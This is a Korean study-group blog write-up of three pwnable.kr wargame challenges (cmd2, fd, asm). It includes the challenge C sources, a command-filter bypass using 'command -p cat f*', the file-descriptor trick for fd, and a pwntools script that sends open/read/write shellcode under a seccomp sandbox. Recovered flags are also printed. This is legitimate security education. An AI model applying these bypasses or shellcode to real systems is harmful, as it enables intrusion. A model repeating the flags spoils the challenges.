본문 바로가기

4-1. 2026-1 심화 스터디/워게임 도장깨기

[6주차] 워게임 도장깨기_포너블

1) [pownable.kr] cmd2

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

> PATH를 이상한 값으로 덮어써서  cat, sh, l를 못쓰게 된다.

 

필터를 보면 /, flag, PATH 조작, export, backtick이 금지되어 있다.

 

system(argv[1]);

> 입력 문자열을 쉘로 실행한다는 점이 취약점이다.

 

command -p로 기본 안전 PATH 사용해서 명령을 찾으면 된다.

따라서 명령어는 ./cmd2 'command -p cat f*'이다.

 

2)  [pownable.kr] fd

 

문제

풀이

 

1. Cgywin64 Terminal을 열어준다

-> ssh fd@pwnable.kr -p2222 입력

-> pw는 guest 입력

 

 

2. ls -> 파일 목록을 보여즘

cat -> 파일을 열기

3. 코드 확인

-> c언어로 작성되어 있고 flag값을 얻으면 되는 문제

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){							// 인자 값을 안주면 프로그램 즉시 종료
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;  // 입력한 문자를 정수로 변환한 후 0x1234를 뺀다
        int len = 0;
        len = read(fd, buf, 32);			// 키보드 입력 받은 값을 buf에 저장
        if(!strcmp("LETMEWIN\n", buf)){		// 입력 받은 값과 비교
                printf("good job :)\n");	
                setregid(getegid(), getegid());
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

int argc : 프로그램 실행 시 인자의 개수

char* argv[] : 프로그램 실행 시 인자의 백터

char* envp[] : 환경 변수

 

int fd = atoi( argv[1] ) - 0x1234; 
int len = 0;
len = read(fd, buf, 32);

atoi() : 문자열을 정수로 변환

 

read(): 보통 파일을 읽을 때 사용하지만 키보드 입력도 받을 수 있다

-> read((int fd, void *buf, size_t nbytes)

fd: 파일 디스크립터

buf: 저장시킬 곳

nbytes: 저장할 크기

 

 

4. 코드 구성

파일 디스크립터는 표준입력, 표준 출력, 표준에러이며 각각 0,1,2라는 정수가 할당됨

-> atoi()함수 결과를 0x1234 값으로 만들어줘야함. 그래야지 fd가 0이됨

-> 0x1234를 10진수로 변환하면 4660

 

 

./ fd 4660을 입력하면 다음과 같이 값을 입력 받을 수 있음

코드의 마지막 if문을 보면

if(!strcmp("LETMEWIN\n", buf)){		// 입력 받은 값과 비교
                printf("good job :)\n");	
                setregid(getegid(), getegid());
                system("/bin/cat flag");
                exit(0);
        }

 

strcmp() : 문자열 비교

-> !가 붙어 있어서 이전 결과가 뒤집히므로 서로 같은 문자를 넣어야 조건문이 True가 됨

 

최종 입력값

./ fd 4660

LETMEWIN

 

 

 

 

 

5. flag값 획득

 

Mama! Now_I_understand_what_file_descriptors_are!

 

 

3) [pwnable.kr] asm

 

 

파일 목록

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

<asm.c>

1. 제약 사항 분석

  • SECCOMP 샌드박스: open, read, write, exit, exit_group 시스템 콜만 허용됨. (execve를 통한 쉘 획득 불가)
  • chroot jail: 루트 디렉토리가 /home/asm_pwn으로 고정됨. 따라서 플래그 파일의 절대 경로가 아닌 상대 경로(파일명 자체)로 접근해야 함.
  • 레지스터 초기화: 쉘코드가 실행되기 직전 범용 레지스터들이 전부 0으로 초기화되므로 필요한 인자는 쉘코드 내에서 직접 세팅해야 함.
  • 긴 파일명: 읽어야 하는 플래그 파일명이 일반적인 8바이트 단위를 넘어가기 때문에 직접 어셈블리로 문자열을 스택에 push하는 것은 비효율적임.
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('127.0.0.1', 9026)

flag_name = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"

shellcode = shellcraft.open(flag_name, 0)
shellcode += shellcraft.read(3, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

payload = asm(shellcode)

p.recvuntil(b"give me your x64 shellcode: ")
p.send(payload)

p.interactive()

 

2. 해결 방법

 

기본적인 파일 디스크립터(fd) 할당 규칙에 따라 표준 입력(0), 표준 출력(1), 표준 에러(2) 이후 첫 번째로 열리는 파일은 fd 번호 3을 부여받는다.

  • Open: open("this_is_pwnable.kr_flag_file...", O_RDONLY)을 호출하여 파일 디스크립터(3)를 획득한다.
  • Read: read(3, rsp, 100)을 호출하여 파일 내용을 임시 버퍼 공간(스택 메모리 주소 rsp)에 저장한다.
  • Write: write(1, rsp, 100)을 호출하여 버퍼에 저장된 플래그 내용을 표준 출력(화면)에 뿌려준다.
  • 쉘코드 전송

flag 획득